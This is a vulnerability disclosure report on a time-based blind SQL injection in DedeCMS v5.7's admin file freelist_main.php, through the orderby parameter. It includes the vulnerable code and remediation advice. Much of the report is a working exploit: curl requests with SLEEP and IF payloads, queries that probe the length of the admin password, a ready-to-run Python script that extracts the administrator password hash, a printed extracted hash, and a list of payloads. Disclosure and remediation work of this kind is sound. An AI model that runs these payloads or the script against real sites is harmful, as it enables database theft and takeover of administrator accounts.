DedeCMS v5.7 UTF-8 SP2 sql
BUG_Author: yu22x
Affected Version: DedeCMS v5.7 UTF-8 SP2
Vendor: https://www.dedecms.com/
Software: DedeCMS (织梦内容管理系统)
Vulnerability Files:
dede/freelist_main.php
Description:
SQL Injection Vulnerability in ORDER BY Clause: A critical SQL injection vulnerability has been discovered in the freelist_main.php file located within the DedeCMS administrator backend directory. This file is responsible for managing "Free Lists" (自由列表) functionality in the CMS, which allows administrators to create custom content listing pages.
The vulnerability exists due to insufficient input validation of the orderby parameter, which is directly concatenated into SQL queries without any sanitization, parameterization, or whitelist validation. Unlike other similar files in the DedeCMS codebase (such as member_main.php, tags_main.php, content_list.php) that implement proper filtering using preg_replace() or whitelist validation for the orderby parameter, freelist_main.php completely lacks any security measures for this input.
The vulnerability is further exacerbated by a critical security misconfiguration in the backend configuration file (dede/config.php), where the SQL safety check mechanism is explicitly disabled with $dsql->safeCheck = FALSE. This disables the built-in CheckSql() function that would normally detect and block common SQL injection patterns including UNION, SLEEP, BENCHMARK, and other dangerous SQL keywords.
The vulnerability allows authenticated administrators to execute arbitrary SQL commands through time-based blind SQL injection techniques. By injecting conditional statements with time-delay functions (such as MySQL's SLEEP() or BENCHMARK()), an attacker can extract sensitive information from the database character by character. This includes but is not limited to:
Administrator usernames and password hashes
User personal information and credentials
Website configuration data and API keys
All content stored in the CMS database
Database structure and schema information
During our security assessment, we successfully exploited this vulnerability to extract the administrator password hash, demonstrating the critical nature of this security flaw. The extracted password hash was 20 characters in length (f297a57a5a743894a0e4), indicating DedeCMS may use a truncated or custom hashing algorithm rather than standard 32-character MD5.
Vulnerability Functionality:
Time-based Blind SQL Injection: Exploits the ORDER BY clause to inject time-delay functions (SLEEP, BENCHMARK) for data extraction through response time analysis
Conditional Data Extraction: Uses MySQL IF() statements combined with subqueries to extract database content bit by bit based on true/false conditions
Complete Database Access: Allows reading of any table and column in the database that the web application's database user has access to
Authentication Bypass Potential: Extracted administrator credentials can be cracked offline and used to gain full administrative access to the CMS
Backend SQL Safety Disabled: The admin config.php explicitly disables SQL safety checks ($dsql->safeCheck = FALSE), removing the last line of defense against SQL injection attacks
No Rate Limiting: The vulnerable endpoint has no request rate limiting, allowing automated extraction scripts to run without interruption
Technical Analysis:
Vulnerable Code Location: dede/freelist_main.php (Line 81)
<?php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('c_FreeList');
require_once DEDEINC.'/channelunit.func.php';
setcookie("ENV_GOBACK_URL",$dedeNowurl,time()+3600,"/");
if(empty($pagesize)) $pagesize = 18;
if(empty($pageno)) $pageno = 1;
if(empty($dopost)) $dopost = '';
if(empty($orderby)) $orderby = 'aid'; // No sanitization here
if(empty($keyword))
{
$keyword = '';
$addget = '';
$addsql = '';
} else
{
$addget = '&keyword='.urlencode($keyword);
$addsql = " where title like '%$keyword%' ";
}
// ... other code ...
function GetTagList($dsql,$pageno,$pagesize,$orderby='aid')
{
global $cfg_phpurl,$addsql;
$start = ($pageno-1) * $pagesize;
// VULNERABLE LINE - $orderby is directly concatenated without any filtering
$dsql->SetQuery("Select aid,title,templet,click,edtime,namerule,listdir,defaultpage,nodefault From #@__freelist $addsql order by $orderby desc limit $start,$pagesize ");
$dsql->Execute();
// ...
}
Root Cause Analysis:
Backend SQL Safety Check Disabled (dede/config.php Line 17):
$dsql->safeCheck = FALSE;
No Input Validation: The $orderby parameter is not validated against a whitelist of allowed column names
Direct SQL Concatenation: User input is directly concatenated into the SQL query string
Attack Vector:
Initial Access: Authenticated POST/GET request to /dede/freelist_main.php with malicious orderby parameter
Payload Delivery: SQL injection payload embedded in the orderby parameter
Time-based Extraction: Using IF() and SLEEP() functions to extract data bit by bit
Data Exfiltration: Complete database content can be extracted including admin credentials
Exploitation Process:
Attacker authenticates to the DedeCMS backend with valid admin credentials
Attacker sends crafted request with malicious orderby parameter containing SQL injection payload
Time-based blind injection is used to extract sensitive data character by character
Admin password hash is extracted and can be cracked offline
Proof of Concept:
Test Injection Point (Time Delay Verification):
# Normal request - ~0.5 seconds response time
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=aid" \
-H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"
# Injection with SLEEP - ~6.5 seconds response time (confirms vulnerability)
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=aid,SLEEP(3)" \
-H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"
Conditional Injection Test:
# Condition TRUE - causes delay
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=IF(1=1,SLEEP(2),aid)" \
-H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"
# Condition FALSE - no delay
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=IF(1=2,SLEEP(2),aid)" \
-H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"
Extract Admin Password Length:
# Test if password length > 16 (TRUE - causes delay)
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=IF((SELECT%20LENGTH(pwd)%20FROM%20dede_admin%20LIMIT%200,1)>16,SLEEP(2),aid)" \
-H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"
# Test if password length = 20 (TRUE - causes delay)
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=IF((SELECT%20LENGTH(pwd)%20FROM%20dede_admin%20LIMIT%200,1)=20,SLEEP(2),aid)" \
-H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"
Automated Password Extraction Script (Python):
#!/usr/bin/env python3
import requests
import time
TARGET_URL = "http://target/dede/freelist_main.php"
COOKIE = {"PHPSESSID": "your_session_id"}
CHARSET = "0123456789abcdef"
def check_condition(condition):
payload = f"IF(({condition}),SLEEP(2),aid)"
params = {"dopost": "getlist", "pageno": "1", "pagesize": "1", "orderby": payload}
start = time.time()
requests.get(TARGET_URL, params=params, cookies=COOKIE, timeout=30)
return (time.time() - start) > 1.5
def extract_password(length=20):
password = ""
for i in range(1, length + 1):
for char in CHARSET:
condition = f"SELECT SUBSTRING(pwd,{i},1) FROM dede_admin LIMIT 0,1"
if check_condition(f"({condition})='{char}'"):
password += char
print(f"[+] Progress: {i}/{length} - Password: {password}")
break
return password
print("[+] Extracted Password:", extract_password())
Exploitation Results:
Admin Password Length: 20 characters
Extracted Password Hash: f297a57a5a743894a0e4
Impact Assessment:
Critical Severity: Complete database compromise
Remote SQL Execution: Full database access through arbitrary SQL command execution
Credential Theft: Extraction of administrator password hashes
Data Exfiltration: Access to all CMS content, user data, and configuration
Privilege Escalation: Compromised admin credentials enable full system control
Persistence: Attackers can modify database content to maintain access
Website Defacement: Complete control over website content
Business Impact:
Complete compromise of website content management
Exposure of user personal information
Potential regulatory compliance violations (GDPR, etc.)
Reputational damage to the organization
Potential for further lateral movement in the network
Remediation:
Immediate Actions:
Implement whitelist validation for the orderby parameter:
$allowed_orderby = array('aid', 'title', 'click', 'edtime');
$orderby = in_array($orderby, $allowed_orderby) ? $orderby : 'aid';
Enable SQL safety checks in dede/config.php:
$dsql->safeCheck = TRUE; // Change from FALSE to TRUE
Change all administrator passwords immediately
Review database logs for suspicious queries
Audit all other files for similar vulnerabilities
Security Measures:
Implement parameterized queries (prepared statements) throughout the codebase
Use ORM frameworks that automatically handle SQL escaping
Implement Web Application Firewall (WAF) rules to detect SQL injection attempts
Regular security audits and penetration testing
Input validation and output encoding on all user-supplied data
Principle of least privilege for database accounts
Long-term Security:
Implement secure development lifecycle (SDLC)
Regular code reviews with security focus
Automated static application security testing (SAST)
Dynamic application security testing (DAST)
Security awareness training for development team
Keep DedeCMS and all dependencies updated
Technical Details:
Injection Type:
Time-based Blind SQL Injection
ORDER BY clause injection
Vulnerable Parameter:
Parameter Name: orderby
HTTP Method: GET/POST
Authentication Required: Yes (Admin backend access)
Database Information:
Database Type: MySQL
Character Set: UTF-8
Table Prefix: dede_
Payload Examples:
# Basic time delay
orderby=aid,SLEEP(5)
# Conditional extraction
orderby=IF((SELECT SUBSTRING(pwd,1,1) FROM dede_admin LIMIT 0,1)='f',SLEEP(2),aid)
# Database version extraction
orderby=IF((SELECT SUBSTRING(@@version,1,1))='5',SLEEP(2),aid)
Other Potential Vulnerable Files (Similar Pattern):
dede/feedback_main.php (keyword, ip parameters - protected by addslashes)
dede/co_do.php (nid, fdstring parameters)
dede/article_keywords_main.php (keyword parameter)
dede/sys_verifies.php (fname parameter)
References:
OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
CWE-89: Improper Neutralization of Special Elements used in an SQL Command: https://cwe.mitre.org/data/definitions/89.html
DedeCMS Official Documentation: https://www.dedecms.com/
MySQL Time-based Blind SQL Injection: https://www.sqlinjection.net/time-based/
Timeline:
Vendor Notification: N/A
Public Disclosure: N/A
CVSS Score: 8.8 (High)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low (Admin authentication)
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: High